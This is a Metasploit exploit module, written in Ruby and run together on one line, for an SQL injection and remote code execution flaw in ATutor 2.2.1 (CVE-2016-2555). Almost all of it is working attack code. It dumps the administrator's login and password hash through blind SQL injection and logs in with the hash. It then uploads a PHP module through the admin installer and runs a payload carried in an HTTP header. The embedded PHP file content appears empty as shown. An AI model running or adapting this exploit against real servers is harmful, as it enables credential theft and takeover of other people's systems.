## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution', 'Description' => %q{ This module exploits a SQL Injection vulnerability and an authentication weakness vulnerability in ATutor. This essentially means an attacker can bypass authentication and reach the administrator's interface where they can upload malicious code. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me ', # initial discovery, msf code ], 'References' => [ [ 'CVE', '2016-2555' ], [ 'URL', 'http://www.atutor.ca/' ], # Official Website [ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 1 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']) ],self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check # the only way to test if the target is vuln if test_injection return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def create_zip_file zip_file = Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @payload_name = Rex::Text.rand_text_alpha_lower(4) @plugin_name = Rex::Text.rand_text_alpha_lower(3) path = "#{@plugin_name}/#{@payload_name}.php" # this content path is where the ATutor authors recommended installing it register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}") zip_file.add_file(path, "") zip_file.pack end def exec_code send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }, 0.1) end def upload_shell(cookie) post_data = Rex::MIME::Message.new post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"") post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection), 'cookie' => cookie }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"), 'cookie' => cookie }) return true end end # unknown failure... fail_with(Failure::Unknown, "Unable to upload php code") return false end def login(username, hash) password = Rex::Text.sha1(hash) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => password, 'form_login' => username, 'submit' => 'Login', 'token' => '' }, }) # poor developer practices cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php') # if we made it here, we are admin report_cred(user: username, password: hash) return cookie end # auth failed if we land here, bail fail_with(Failure::NoAccess, "Authentication failed with username #{username}") return nil end def perform_request(sqli) # the search requires a minimum of 3 chars sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" rand_key = Rex::Text.rand_text_alpha(1) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"), 'vars_post' => { "search_friends_#{rand_key}" => sqli, 'rand_key' => rand_key, 'search' => 'Search' }, }) return res.body end def dump_the_hash extracted_hash = "" sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i for i in 1..login_and_hash_length sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" asciival = generate_sql_and_test(false, false, sqli) if asciival >= 0 extracted_hash << asciival.chr end end return extracted_hash.split(":") end # greetz to rsauron & the darkc0de crew! def get_ascii_value(sql) lower = 0 upper = 126 while lower < upper mid = (lower + upper) / 2 sqli = "#{sql}>#{mid}" result = perform_request(sqli) if result =~ /There are \d+ entries\./ lower = mid + 1 else upper = mid end end if lower > 0 and lower < 126 value = lower else sqli = "#{sql}=#{lower}" result = perform_request(sqli) if result =~ /There are \d+ entries\./ value = lower end end return value end def generate_sql_and_test(do_true=false, do_test=false, sql=nil) if do_test if do_true result = perform_request("1=1") if result =~ /There are \d+ entries\./ return true end else not do_true result = perform_request("1=2") if not result =~ /There are \d+ entries\./ return true end end elsif not do_test and sql return get_ascii_value(sql) end end def test_injection if generate_sql_and_test(do_true=true, do_test=true, sql=nil) if generate_sql_and_test(do_true=false, do_test=true, sql=nil) return true end end return false end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :nonreplayable_hash, jtr_format: 'sha512', username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end def exploit print_status("Dumping the username and password hash...") credz = dump_the_hash if credz print_good("Got the #{credz[0]}'s hash: #{credz[1]} !") admin_cookie = login(credz[0], credz[1]) if upload_shell(admin_cookie) exec_code end end end end